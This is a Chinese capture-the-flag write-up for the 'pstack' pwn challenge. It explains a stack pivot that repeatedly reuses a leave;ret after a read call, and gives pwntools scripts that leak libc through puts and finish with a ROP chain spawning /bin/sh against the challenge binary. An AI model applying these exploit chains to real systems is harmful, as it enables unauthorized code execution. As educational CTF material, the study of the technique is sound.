首先推荐这个博客

本篇学习的思路来自这个大佬

实力有限,只复现出了pstack这一题

pstack

1

2

知识点

这个题目是个很经典的栈迁移的题目,因为栈溢出的空间不够,但是常规的栈迁移一般有方法获得一个地址来进行leave_ret

这个题目有个很妙的点

这里call 完read后面有一个leave_ret(平时没注意过)

本题的核心就在于对这里进行反复利用

题解

由于leave_ret这4个指令

两次这样就可以控制rbp 和rsp

这里重点讲下调用vuln_read这个函数后面的过程

这里我们动态调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
context(log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
gdb.attach(p)
pause()
payload=b'a'*0x30+p64(bss+0x30)+p64(read)
p.send(payload)
payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
pause()
p.sendline(payload)
p.interactive()

第二个payload是我cyclic 64生成的垃圾数据,主要看函数执行的地址到哪

5

这里可以看到这个还是在0x30后面进行的溢出地址

下面接着调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from LibcSearcher import *
context(log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
payload=b'a'*0x30+p64(bss+0x30)+p64(read)

gdb.attach(p)
pause()

p.sendafter(b'overflow?',payload)



#第二次的栈迁移,泄露地址
payload=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(pop_rbp)
payload+=p64(bss+0x200+0x30)
payload+=p64(read)
payload+=p64(bss-0x8)
payload+=p64(leave_ret)
pause()
p.send(payload)
p.recv()
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts']
print(hex(leak_addr))

libc_base=leak_addr

read=leak_addr+libc.sym['write']
print(hex(read))

bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload=b'aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggg'

pause()
p.send(payload)

p.interactive()

6

可以看到在rbpgggggggg卡住了

所以

在这里leave_ret

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from LibcSearcher import *
context(log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
payload=b'a'*0x30+p64(bss+0x30)+p64(read)

gdb.attach(p)
pause()

p.sendafter(b'overflow?',payload)



#第二次的栈迁移,泄露地址
payload=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(pop_rbp)
payload+=p64(bss+0x200+0x30)
payload+=p64(read)
payload+=p64(bss-0x8)
payload+=p64(leave_ret)
pause()
p.send(payload)
p.recv()
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts']
print(hex(leak_addr))

libc_base=leak_addr

read=leak_addr+libc.sym['write']
print(hex(read))

bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload=(p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)).ljust(0x30,b'\x00')
payload+=p64(bss+0x200-0x8)+p64(leave_ret)
pause()
p.send(payload)

p.interactive()